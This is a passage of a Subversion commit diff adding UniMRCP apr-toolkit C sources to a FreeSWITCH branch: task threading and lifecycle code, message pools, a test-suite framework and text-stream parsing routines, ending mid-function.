+#include "apt_obj_list.h"
+#include "apt_log.h"
+
+/** Internal states of the task */
+typedef enum {
+	TASK_STATE_IDLE,               /**< no task activity */
+	TASK_STATE_START_REQUESTED,    /**< task start is requested and is in progress */
+	TASK_STATE_RUNNING,            /**< task is running */
+	TASK_STATE_TERMINATE_REQUESTED /**< task termination is requested and is in progress */
+} apt_task_state_t;
+
+struct apt_task_t {
+	void                *obj;           /* external object associated with the task */
+	apr_pool_t          *pool;          /* memory pool to allocate task data from */
+	apt_task_msg_pool_t *msg_pool;      /* message pool to allocate task messages from */
+	apr_thread_mutex_t  *data_guard;    /* mutex to protect task data */
+	apr_thread_t        *thread_handle; /* thread handle */
+	apt_task_state_t     state;         /* current task state */
+	apt_task_vtable_t    vtable;        /* table of virtual methods */
+	apt_task_t          *parent_task;   /* parent (master) task */
+	apt_obj_list_t      *child_tasks;   /* list of the child (slave) tasks */
+	apr_size_t           pending_start; /* number of pending start requests */
+	apr_size_t           pending_term;  /* number of pending terminate requests */
+	const char          *name;          /* name of the task */
+};
+
+static void* APR_THREAD_FUNC apt_task_run(apr_thread_t *thread_handle, void *data);
+static apt_bool_t apt_task_terminate_request(apt_task_t *task);
+
+
+APT_DECLARE(apt_task_t*) apt_task_create(
+								void *obj,
+								apt_task_msg_pool_t *msg_pool,
+								apr_pool_t *pool)
+{
+	apt_task_t *task = apr_palloc(pool,sizeof(apt_task_t));
+	task->obj = obj;
+	task->pool = pool;
+	task->msg_pool = msg_pool;
+
+	if(!task->msg_pool) {
+		task->msg_pool = apt_task_msg_pool_create_dynamic(0,pool);
+	}
+
+	task->state = TASK_STATE_IDLE;
+	task->thread_handle = NULL;
+	if(apr_thread_mutex_create(&task->data_guard, APR_THREAD_MUTEX_DEFAULT, task->pool) != APR_SUCCESS) {
+		return NULL;
+	}
+
+	/* reset and copy vtable */
+	apt_task_vtable_reset(&task->vtable);
+	task->vtable.terminate = apt_task_terminate_request;
+	
+	task->parent_task = NULL;
+	task->child_tasks = apt_list_create(pool);
+	task->pending_start = 0;
+	task->pending_term = 0;
+	task->name = "Task";
+	return task;
+}
+
+APT_DECLARE(apt_bool_t) apt_task_destroy(apt_task_t *task)
+{
+	apt_task_t *child_task = NULL;
+	apt_list_elem_t *elem = apt_list_first_elem_get(task->child_tasks);
+	/* walk through the list of the child tasks and destroy them */
+	while(elem) {
+		child_task = apt_list_elem_object_get(elem);
+		if(child_task) {
+			apt_task_destroy(child_task);
+		}
+		elem = apt_list_next_elem_get(task->child_tasks,elem);
+	}
+
+	if(task->state != TASK_STATE_IDLE) {
+		apt_task_wait_till_complete(task);
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Destroy %s",task->name);
+	if(task->vtable.destroy) {
+		task->vtable.destroy(task);
+	}
+	
+	apr_thread_mutex_destroy(task->data_guard);
+	return TRUE;
+}
+
+APT_DECLARE(apt_bool_t) apt_task_add(apt_task_t *task, apt_task_t *child_task)
+{
+	child_task->parent_task = task;
+	return (apt_list_push_back(task->child_tasks,child_task, child_task->pool) ? TRUE : FALSE);
+}
+
+APT_DECLARE(apt_bool_t) apt_task_start(apt_task_t *task)
+{
+	apt_bool_t status = TRUE;
+	apr_thread_mutex_lock(task->data_guard);
+	if(task->state == TASK_STATE_IDLE) {
+		apr_status_t rv;
+		task->state = TASK_STATE_START_REQUESTED;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Start %s",task->name);
+		if(task->vtable.start) {
+			/* raise virtual start method */
+			task->vtable.start(task);
+		}
+		else {
+			/* start new thread by default */
+			rv = apr_thread_create(&task->thread_handle,NULL,apt_task_run,task,task->pool);
+			if(rv != APR_SUCCESS) {
+				task->state = TASK_STATE_IDLE;
+				status = FALSE;
+			}
+		}
+	}
+	else {
+		status = FALSE;
+	}
+	apr_thread_mutex_unlock(task->data_guard);
+	return status;
+}
+
+APT_DECLARE(apt_bool_t) apt_task_terminate(apt_task_t *task, apt_bool_t wait_till_complete)
+{
+	apt_bool_t status = FALSE;
+	apr_thread_mutex_lock(task->data_guard);
+	if(task->state == TASK_STATE_START_REQUESTED || task->state == TASK_STATE_RUNNING) {
+		task->state = TASK_STATE_TERMINATE_REQUESTED;
+	}
+	apr_thread_mutex_unlock(task->data_guard);
+
+	if(task->state == TASK_STATE_TERMINATE_REQUESTED) {
+		/* raise virtual terminate method */
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Terminate %s",task->name);
+		if(task->vtable.terminate) {
+			status = task->vtable.terminate(task);
+		}
+
+		if(wait_till_complete == TRUE && status == TRUE) {
+			apt_task_wait_till_complete(task);
+		}
+	}
+
+	return status;
+}
+
+APT_DECLARE(apt_bool_t) apt_task_wait_till_complete(apt_task_t *task)
+{
+	if(task->thread_handle) {
+		apr_status_t s;
+		apr_thread_join(&s,task->thread_handle);
+		task->thread_handle = NULL;
+	}
+	return TRUE;
+}
+
+APT_DECLARE(void) apt_task_delay(apr_size_t msec)
+{
+	apr_sleep(1000*msec);
+}
+
+APT_DECLARE(apt_task_t*) apt_task_parent_get(apt_task_t *task)
+{
+	return task->parent_task;
+}
+
+APT_DECLARE(apr_pool_t*) apt_task_pool_get(apt_task_t *task)
+{
+	return task->pool;
+}
+
+APT_DECLARE(void*) apt_task_object_get(apt_task_t *task)
+{
+	return task->obj;
+}
+
+APT_DECLARE(apt_task_vtable_t*) apt_task_vtable_get(apt_task_t *task)
+{
+	return &task->vtable;
+}
+
+APT_DECLARE(void) apt_task_name_set(apt_task_t *task, const char *name)
+{
+	task->name = name;
+}
+
+APT_DECLARE(const char*) apt_task_name_get(apt_task_t *task)
+{
+	return task->name;
+}
+
+APT_DECLARE(apt_task_msg_t*) apt_task_msg_get(apt_task_t *task)
+{
+	if(task->msg_pool) {
+		return apt_task_msg_acquire(task->msg_pool);
+	}
+	return NULL;
+}
+
+APT_DECLARE(apt_bool_t) apt_task_msg_signal(apt_task_t *task, apt_task_msg_t *msg)
+{
+	if(task->vtable.signal_msg) {
+		return task->vtable.signal_msg(task,msg);
+	}
+	return FALSE;
+}
+
+APT_DECLARE(apt_bool_t) apt_task_msg_parent_signal(apt_task_t *task, apt_task_msg_t *msg)
+{
+	apt_task_t *parent_task = task->parent_task;
+	if(parent_task) {
+		if(parent_task->vtable.signal_msg) {
+			return parent_task->vtable.signal_msg(parent_task,msg);
+		}
+	}
+	return FALSE;
+}
+
+
+APT_DECLARE(apt_bool_t) apt_core_task_msg_process(apt_task_t *task, apt_task_msg_t *msg)
+{
+	apt_bool_t running = TRUE;
+	switch(msg->sub_type) {
+		case CORE_TASK_MSG_START_COMPLETE: 
+		{
+			if(!task->pending_start) {
+				/* error case, no pending start */
+				break;
+			}
+			task->pending_start--;
+			if(!task->pending_start) {
+				if(task->vtable.on_start_complete) {
+					task->vtable.on_start_complete(task);
+				}
+				if(task->parent_task) {
+					/* signal start-complete message */
+					apt_task_msg_signal(task->parent_task,msg);
+				}
+			}
+			break;
+		}
+		case CORE_TASK_MSG_TERMINATE_REQUEST:
+		{
+			apt_task_child_terminate(task);
+			if(!task->pending_term) {
+				running = FALSE;
+			}
+			break;
+		}
+		case CORE_TASK_MSG_TERMINATE_COMPLETE:
+		{
+			if(!task->pending_term) {
+				/* error case, no pending terminate */
+				break;
+			}
+			task->pending_term--;
+			if(!task->pending_term) {
+				if(task->vtable.on_terminate_complete) {
+					task->vtable.on_terminate_complete(task);
+				}
+				if(task->parent_task) {
+					/* signal terminate-complete message */
+					apt_task_msg_signal(task->parent_task,msg);
+				}
+				running = FALSE;
+			}
+			break;
+		}
+		default: break;
+	}
+	return running;
+}
+
+APT_DECLARE(apt_bool_t) apt_task_msg_process(apt_task_t *task, apt_task_msg_t *msg)
+{
+	apt_bool_t running = TRUE;
+	if(msg->type == TASK_MSG_CORE) {
+		running = apt_core_task_msg_process(task,msg);
+	}
+	else {
+		if(task->vtable.process_msg) {
+			task->vtable.process_msg(task,msg);
+		}
+	}
+	
+	apt_task_msg_release(msg);
+	return running;
+}
+
+static apt_bool_t apt_task_terminate_request(apt_task_t *task)
+{
+	if(task->msg_pool) {
+		apt_task_msg_t *msg = apt_task_msg_acquire(task->msg_pool);
+		/* signal terminate-request message */
+		msg->type = TASK_MSG_CORE;
+		msg->sub_type = CORE_TASK_MSG_TERMINATE_REQUEST;
+		return apt_task_msg_signal(task,msg);
+	}
+	return FALSE;
+}
+
+APT_DECLARE(apt_bool_t) apt_task_child_start(apt_task_t *task)
+{
+	apt_task_t *child_task = NULL;
+	apt_list_elem_t *elem = apt_list_first_elem_get(task->child_tasks);
+	task->pending_start = 0;
+	/* walk through the list of the child tasks and start them */
+	while(elem) {
+		child_task = apt_list_elem_object_get(elem);
+		if(child_task) {
+			if(apt_task_start(child_task) == TRUE) {
+				task->pending_start++;
+			}
+		}
+		elem = apt_list_next_elem_get(task->child_tasks,elem);
+	}
+
+	if(!task->pending_start) {
+		/* no child task to start, just raise start-complete event */
+		if(task->vtable.on_start_complete) {
+			task->vtable.on_start_complete(task);
+		}
+		if(task->parent_task) {
+			if(task->msg_pool) {
+				apt_task_msg_t *msg = apt_task_msg_acquire(task->msg_pool);
+				/* signal start-complete message */
+				msg->type = TASK_MSG_CORE;
+				msg->sub_type = CORE_TASK_MSG_START_COMPLETE;
+				apt_task_msg_signal(task->parent_task,msg);
+			}
+		}
+	}
+	return TRUE;
+}
+
+APT_DECLARE(apt_bool_t) apt_task_child_terminate(apt_task_t *task)
+{
+	apt_task_t *child_task = NULL;
+	apt_list_elem_t *elem = apt_list_first_elem_get(task->child_tasks);
+	task->pending_term = 0;
+	/* walk through the list of the child tasks and terminate them */
+	while(elem) {
+		child_task = apt_list_elem_object_get(elem);
+		if(child_task) {
+			if(apt_task_terminate(child_task,FALSE) == TRUE) {
+				task->pending_term++;
+			}
+		}
+		elem = apt_list_next_elem_get(task->child_tasks,elem);
+	}
+
+	if(!task->pending_term) {
+		/* no child task to terminate, just raise terminate-complete event */
+		if(task->vtable.on_terminate_complete) {
+			task->vtable.on_terminate_complete(task);
+		}
+		if(task->parent_task) {
+			if(task->msg_pool) {
+				apt_task_msg_t *msg = apt_task_msg_acquire(task->msg_pool);
+				/* signal terminate-complete message */
+				msg->type = TASK_MSG_CORE;
+				msg->sub_type = CORE_TASK_MSG_TERMINATE_COMPLETE;
+				apt_task_msg_signal(task->parent_task,msg);
+			}
+		}
+	}
+	return TRUE;
+}
+
+static void* APR_THREAD_FUNC apt_task_run(apr_thread_t *thread_handle, void *data)
+{
+	apt_task_t *task = data;
+	
+	/* raise pre-run event */
+	if(task->vtable.on_pre_run) {
+		task->vtable.on_pre_run(task);
+	}
+	apr_thread_mutex_lock(task->data_guard);
+	task->state = TASK_STATE_RUNNING;
+	apr_thread_mutex_unlock(task->data_guard);
+
+	/* start child tasks (if any) */
+	apt_task_child_start(task);
+
+	/* run task */
+	if(task->vtable.run) {
+		task->vtable.run(task);
+	}
+
+	apr_thread_mutex_lock(task->data_guard);
+	task->state = TASK_STATE_IDLE;
+	apr_thread_mutex_unlock(task->data_guard);
+	/* raise post-run event */
+	if(task->vtable.on_post_run) {
+		task->vtable.on_post_run(task);
+	}
+	return NULL;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_task_msg.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_task_msg.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_task_msg.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_task_msg.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_task_msg.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,103 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "apt_task_msg.h"
+
+/** Abstract pool of task messages to allocate task messages from */
+struct apt_task_msg_pool_t {
+	void (*destroy)(apt_task_msg_pool_t *pool);
+
+	apt_task_msg_t* (*acquire_msg)(apt_task_msg_pool_t *pool);
+	void (*release_msg)(apt_task_msg_t *task_msg);
+
+	void       *obj;
+	apr_pool_t *pool;
+};
+
+
+/** Dynamic allocation of messages (no actual pool exist)*/
+typedef struct apt_msg_pool_dynamic_t apt_msg_pool_dynamic_t;
+
+struct apt_msg_pool_dynamic_t {
+	apr_size_t size;
+};
+
+static apt_task_msg_t* dynamic_pool_acquire_msg(apt_task_msg_pool_t *task_msg_pool)
+{
+	apt_msg_pool_dynamic_t *dynamic_pool = task_msg_pool->obj;
+	apt_task_msg_t *task_msg = malloc(dynamic_pool->size);
+	task_msg->msg_pool = task_msg_pool;
+	task_msg->type = TASK_MSG_USER;
+	task_msg->sub_type = 0;
+	return task_msg;
+}
+
+static void dynamic_pool_release_msg(apt_task_msg_t *task_msg)
+{
+	if(task_msg) {
+		free(task_msg);
+	}
+}
+
+static void dynamic_pool_destroy(apt_task_msg_pool_t *task_msg_pool)
+{
+	/* nothing to do */
+}
+
+APT_DECLARE(apt_task_msg_pool_t*) apt_task_msg_pool_create_dynamic(apr_size_t msg_size, apr_pool_t *pool)
+{
+	apt_task_msg_pool_t *task_msg_pool = apr_palloc(pool,sizeof(apt_task_msg_pool_t));
+	apt_msg_pool_dynamic_t *dynamic_pool = apr_palloc(pool,sizeof(apt_msg_pool_dynamic_t));
+	dynamic_pool->size = msg_size + sizeof(apt_task_msg_t) - 1;
+
+	task_msg_pool->pool = pool;
+	task_msg_pool->obj = dynamic_pool;
+	task_msg_pool->acquire_msg = dynamic_pool_acquire_msg;
+	task_msg_pool->release_msg = dynamic_pool_release_msg;
+	task_msg_pool->destroy = dynamic_pool_destroy;
+	return task_msg_pool;
+}
+
+
+/** Static allocation of messages from message pool (not implemented yet) */
+APT_DECLARE(apt_task_msg_pool_t*) apt_task_msg_pool_create_static(apr_size_t msg_size, apr_size_t pool_size, apr_pool_t *pool)
+{
+	return NULL;
+}
+
+
+
+APT_DECLARE(void) apt_task_msg_pool_destroy(apt_task_msg_pool_t *msg_pool)
+{
+	if(msg_pool->destroy) {
+		msg_pool->destroy(msg_pool);
+	}
+}
+
+APT_DECLARE(apt_task_msg_t*) apt_task_msg_acquire(apt_task_msg_pool_t *task_msg_pool)
+{
+	if(!task_msg_pool->acquire_msg)
+		return NULL;
+	return task_msg_pool->acquire_msg(task_msg_pool);
+}
+
+APT_DECLARE(void) apt_task_msg_release(apt_task_msg_t *task_msg)
+{
+	apt_task_msg_pool_t *task_msg_pool = task_msg->msg_pool;
+	if(task_msg_pool->release_msg)
+		task_msg_pool->release_msg(task_msg);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_test_suite.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_test_suite.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_test_suite.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_test_suite.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_test_suite.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,119 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_pool.h"
+#include "apt_obj_list.h"
+#include "apt_test_suite.h"
+#include "apt_log.h"
+
+struct apt_test_framework_t{
+	apr_pool_t     *pool;
+	apt_obj_list_t *suites;
+};
+
+APT_DECLARE(apt_test_suite_t*) apt_test_suite_create(apr_pool_t *pool, const char *name, 
+													 void *obj, apt_test_f tester)
+{
+	apt_test_suite_t *suite = apr_palloc(pool,sizeof(apt_test_suite_t));
+	suite->pool = pool;
+	apt_string_assign(&suite->name,name,pool);
+	suite->obj = obj;
+	suite->tester = tester;
+	return suite;
+}
+
+APT_DECLARE(apt_test_framework_t*) apt_test_framework_create()
+{
+	apt_test_framework_t *framework;
+	apr_pool_t* pool = apt_pool_create();
+	framework = apr_palloc(pool,sizeof(apt_test_framework_t));
+	framework->pool = pool;
+	framework->suites = apt_list_create(pool);
+
+	apt_log_instance_create(APT_LOG_OUTPUT_CONSOLE,APT_PRIO_INFO,pool);
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create Test Framework");
+	return framework;
+}
+
+APT_DECLARE(void) apt_test_framework_destroy(apt_test_framework_t *framework)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy Test Framework");
+	apt_log_instance_destroy();
+	apr_pool_destroy(framework->pool);
+}
+
+APT_DECLARE(apt_bool_t) apt_test_framework_suite_add(apt_test_framework_t *framework, apt_test_suite_t *suite)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Add Test Suite [%s]",suite->name);
+	return (apt_list_push_back(framework->suites,suite,suite->pool) ? TRUE : FALSE);
+}
+
+APT_DECLARE(apr_pool_t*) apt_test_framework_pool_get(apt_test_framework_t *framework)
+{
+	return framework->pool;
+}
+
+static apt_bool_t apt_test_framework_suite_run(apt_test_framework_t *framework, apt_test_suite_t *suite,
+											   int argc, const char * const *argv)
+{
+	apt_bool_t status = FALSE;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"----- Run Test Suite [%s] -----",suite->name);
+	if(suite->tester) {
+		status = suite->tester(suite,argc,argv);
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"---- Status [%s] ----\n",(status == TRUE) ? "OK" : "Failure");
+	return status;
+}
+
+APT_DECLARE(apt_bool_t) apt_test_framework_run(apt_test_framework_t *framework, int argc, const char * const *argv)
+{
+	apt_test_suite_t *suite = NULL;
+	apt_list_elem_t *elem = apt_list_first_elem_get(framework->suites);
+	if(argc == 1) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Run All Test Suites");
+		/* walk through the list of test suites and run all of them */
+		while(elem) {
+			suite = apt_list_elem_object_get(elem);
+			if(suite) {
+				/* run test suite with the default arguments */
+				apt_test_framework_suite_run(framework,suite,0,NULL);
+			}
+			elem = apt_list_next_elem_get(framework->suites,elem);
+		}
+	}
+	else {
+		/* walk through the list of test suites find appropriate one and run it */
+		apt_bool_t found = FALSE;
+		apt_str_t name;
+		apt_string_set(&name,argv[1]);
+		while(elem) {
+			suite = apt_list_elem_object_get(elem);
+			if(suite && apt_string_compare(&suite->name,&name) == TRUE) {
+				found = TRUE;
+				break;
+			}
+			elem = apt_list_next_elem_get(framework->suites,elem);
+		}
+		if(found == TRUE) {
+			/* run test suite with remaining arguments */
+			apt_test_framework_suite_run(framework,suite,argc-2,&argv[2]);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No Such Test Suite [%s] to Run", argv[1]);
+		}
+	}
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_text_stream.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_text_stream.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_text_stream.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_text_stream.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_text_stream.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,413 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <apr_uuid.h>
+#include "apt_text_stream.h"
+
+#define TOKEN_TRUE  "true"
+#define TOKEN_FALSE "false"
+#define TOKEN_TRUE_LENGTH  (sizeof(TOKEN_TRUE)-1)
+#define TOKEN_FALSE_LENGTH (sizeof(TOKEN_FALSE)-1)
+
+
+/** Navigate through the lines of the text stream (message) */
+APT_DECLARE(apt_bool_t) apt_text_line_read(apt_text_stream_t *stream, apt_str_t *line)
+{
+	char *pos = stream->pos;
+	const char *end = stream->text.buf + stream->text.length;
+	apt_bool_t eol = FALSE;
+	line->length = 0;
+	line->buf = pos;
+	/* while not end of stream */
+	while(pos < end) {
+		if(*pos == APT_TOKEN_CR) {
+			/* end of line detected */
+			line->length = pos - line->buf;
+			pos++;
+			if(pos < end && *pos == APT_TOKEN_LF) {
+				pos++;
+			}
+			eol = TRUE;
+			break;
+		}
+		else if(*pos == APT_TOKEN_LF) {
+			/* end of line detected */
+			line->length = pos - line->buf;
+			pos++;
+			eol = TRUE;
+			break;
+		}
+		pos++;
+	}
+
+	stream->pos = pos;
+	return eol;
+}
+
+/** Navigate through the headers (name:value pairs) of the text stream (message) 
+	Valid headers are:
+		name:value<CRLF>
+		name: value<CRLF>
+		name:    value<CRLF>
+		name: value<LF>
+		name:<CRLF>              (only name, no value)
+		<CRLF>                   (empty header)
+	Malformed headers are:
+		name:value               (missing end of line <CRLF>)
+		name<CRLF>               (missing separator ':')
+*/
+APT_DECLARE(apt_bool_t) apt_text_header_read(apt_text_stream_t *stream, apt_pair_t *pair)
+{
+	char *pos = stream->pos;
+	const char *end = stream->text.buf + stream->text.length;
+	apt_bool_t eol = FALSE;
+	apt_string_reset(&pair->name);
+	apt_string_reset(&pair->value);
+	/* while not end of stream */
+	while(pos < end) {
+		if(*pos == APT_TOKEN_CR) {
+			/* end of line detected */
+			if(pair->value.buf) {
+				/* set length of the value */
+				pair->value.length = pos - pair->value.buf;
+			}
+			pos++;
+			if(pos < end && *pos == APT_TOKEN_LF) {
+				pos++;
+			}
+			eol = TRUE;
+			break;
+		}
+		else if(*pos == APT_TOKEN_LF) {
+			/* end of line detected */
+			if(pair->value.buf) {
+				/* set length of the value */
+				pair->value.length = pos - pair->value.buf;
+			}
+			pos++;
+			eol = TRUE;
+			break;
+		}
+		else if(!pair->name.length) {
+			/* skip initial spaces and read name */
+			if(!pair->name.buf && *pos != APT_TOKEN_SP) {
+				pair->name.buf = pos;
+			}
+			if(*pos == ':') {
+				/* set length of the name */
+				pair->name.length = pos - pair->name.buf;
+			}
+		}
+		else if(!pair->value.length) {
+			/* skip initial spaces and read value */
+			if(!pair->value.buf && *pos != APT_TOKEN_SP) {
+				pair->value.buf = pos;
+			}
+		}
+		pos++;
+	}
+
+	stream->pos = pos;
+	/* if length == 0 && buf -> header is malformed */
+	return (eol && (pair->name.length || !pair->name.buf));
+}
+
+
+/** Navigate through the fields of the line */
+APT_DECLARE(apt_bool_t) apt_text_field_read(apt_text_stream_t *stream, char separator, apt_bool_t skip_spaces, apt_str_t *field)
+{
+	char *pos = stream->pos;
+	const char *end = stream->text.buf + stream->text.length;
+	if(skip_spaces == TRUE) {
+		while(pos < end && *pos == APT_TOKEN_SP) pos++;
+	}
+
+	field->buf = pos;
+	field->length = 0;
+	while(pos < end && *pos != separator) pos++;
+
+	field->length = pos - field->buf;
+	if(pos < end) {
+		/* skip the separator */
+		pos++;
+	}
+
+	stream->pos = pos;
+	return field->length ? TRUE : FALSE;
+}
+
+/** Scroll text stream */
+APT_DECLARE(apt_bool_t) apt_text_stream_scroll(apt_text_stream_t *stream)
+{
+	apr_size_t remaining_length = stream->text.buf + stream->text.length - stream->pos;
+	if(!remaining_length || remaining_length == stream->text.length) {
+		stream->pos = stream->text.buf + remaining_length;
+		return FALSE;
+	}
+	memmove(stream->text.buf,stream->pos,remaining_length);
+	stream->pos = stream->text.buf + remaining_length;
+	stream->text.length = remaining_length;
+	*stream->pos = '\0';
+	return TRUE;
+}
+
+/** Parse id@resource string */
+APT_DECLARE(apt_bool_t) apt_id_resource_parse(const apt_str_t *str, char separator, apt_str_t *id, apt_str_t *resource, apr_pool_t *pool)
+{
+	apt_str_t field = *str;
+	const char *pos = strchr(str->buf,separator);
+	if(!pos) {
+		return FALSE;
+	}
+
+	field.length = pos - field.buf;
+	if(field.length >= str->length) {
+		return FALSE;
+	}
+	apt_string_copy(id,&field,pool);
+	field.buf += field.length + 1;
+	field.length = str->length - (field.length + 1);
+	apt_string_copy(resource,&field,pool);
+	return TRUE;
+}
+
+/** Generate id@resource string */
+APT_DECLARE(apt_bool_t) apt_id_resource_generate(const apt_str_t *id, const apt_str_t *resource, char separator, apt_str_t *str, apr_pool_t *pool)
+{
+	apr_size_t length = id->length+resource->length+1;
+	char *buf = apr_palloc(pool,length+1);
+	memcpy(buf,id->buf,id->length);
+	buf[id->length] = separator;
+	memcpy(buf+id->length+1,resource->buf,resource->length);
+	buf[length] = '\0';
+	str->buf = buf;
+	str->length = length;
+	return TRUE;
+}
+
+/** Generate only the name ("name":) of the header */
+APT_DECLARE(apt_bool_t) apt_text_header_name_generate(const apt_str_t *name, apt_text_stream_t *stream)
+{
+	char *pos = stream->pos;
+	memcpy(pos,name->buf,name->length);
+	pos += name->length;
+	*pos++ = ':';
+	*pos++ = ' ';
+	stream->pos = pos;
+	return TRUE;
+}
+
+/** Parse name=value pair */
+static apt_bool_t apt_pair_parse(apt_pair_t *pair, const apt_str_t *field, apr_pool_t *pool)
+{
+	apt_text_stream_t stream;
+	stream.text = *field;
+	stream.pos = stream.text.buf;
+
+	/* read name */
+	if(apt_text_field_read(&stream,'=',TRUE,&pair->name) == FALSE) {
+		return FALSE;
+	}
+
+	/* read value */
+	apt_text_field_read(&stream,';',TRUE,&pair->value);
+	return TRUE;
+}
+
+/** Parse array of name-value pairs */
+APT_DECLARE(apt_bool_t) apt_pair_array_parse(apt_pair_arr_t *arr, const apt_str_t *value, apr_pool_t *pool)
+{
+	apt_str_t field;
+	apt_pair_t *pair;
+	apt_text_stream_t stream;
+	if(!arr || !value) {
+		return FALSE;
+	}
+
+	stream.text = *value;
+	stream.pos = stream.text.buf;
+	/* read name-value pairs */
+	while(apt_text_field_read(&stream,';',TRUE,&field) == TRUE) {
+		pair = apr_array_push(arr);
+		apt_pair_parse(pair,&field,pool);
+	}
+	return TRUE;
+}
+
+/** Generate array of name-value pairs */
+APT_DECLARE(apt_bool_t) apt_pair_array_generate(apt_pair_arr_t *arr, apt_text_stream_t *stream)
+{
+	int i;
+	apt_pair_t *pair;
+	char *pos = stream->pos;
+	if(!arr) {
+		return FALSE;
+	}
+
+	for(i=0; i<arr->nelts; i++) {
+		pair = (apt_pair_t*)arr->elts + i;
+		if(i != 0) {
+			*pos++ = ';';
+		}
+		if(pair->name.length) {
+			memcpy(pos,pair->name.buf,pair->name.length);
+			pos += pair->name.length;
+			if(pair->value.length) {
+				*pos++ = '=';
+				memcpy(pos,pair->value.buf,pair->value.length);
+				pos += pair->value.length;
+			}
+		}
+	}
+	stream->pos = pos;
+	return TRUE;
+}
+
+/** Parse boolean-value */
+APT_DECLARE(apt_bool_t) apt_boolean_value_parse(const apt_str_t *str, apt_bool_t *value)
+{
+	if(!str->buf) {
+		return FALSE;
+	}
+	if(strncasecmp(str->buf,TOKEN_TRUE,TOKEN_TRUE_LENGTH) == 0) {
+		*value = TRUE;
+		return TRUE;
+	}
+	if(strncasecmp(str->buf,TOKEN_FALSE,TOKEN_FALSE_LENGTH) == 0) {
+		*value = FALSE;
+		return TRUE;
+	}
+	return FALSE;
+}
+
+/** Generate boolean-value */
+APT_DECLARE(apt_bool_t) apt_boolean_value_generate(apt_bool_t value, apt_text_stream_t *stream)
+{
+	if(value == TRUE) {
+		memcpy(stream->pos,TOKEN_TRUE,TOKEN_TRUE_LENGTH);
+		stream->pos += TOKEN_TRUE_LENGTH;
+	}
+	else {
+		memcpy(stream->pos,TOKEN_FALSE,TOKEN_FALSE_LENGTH);
+		stream->pos += TOKEN_FALSE_LENGTH;
+	}
+	return TRUE;
+}
+
+/** Parse size_t value */
+APT_DECLARE(apr_size_t) apt_size_value_parse(const apt_str_t *str)
+{
+	return str->buf ? atol(str->buf) : 0;
+}
+
+/** Generate apr_size_t value */
+APT_DECLARE(apt_bool_t) apt_size_value_generate(apr_size_t value, apt_text_stream_t *stream)
+{
+	int length = sprintf(stream->pos, "%"APR_SIZE_T_FMT, value);
+	if(length <= 0) {
+		return FALSE;
+	}
+	stream->pos += length;
+	return TRUE;
+}
+
+/** Parse float value */
+APT_DECLARE(float) apt_float_value_parse(const apt_str_t *str)
+{
+	return str->buf ? (float)atof(str->buf) : 0;
+}
+
+/** Generate float value */
+APT_DECLARE(apt_bool_t) apt_float_value_generate(float value, apt_text_stream_t *stream)
+{
+	char *end;
+	int length = sprintf(stream->pos,"%f",value);
+	if(length <= 0) {
+		return FALSE;
+	}
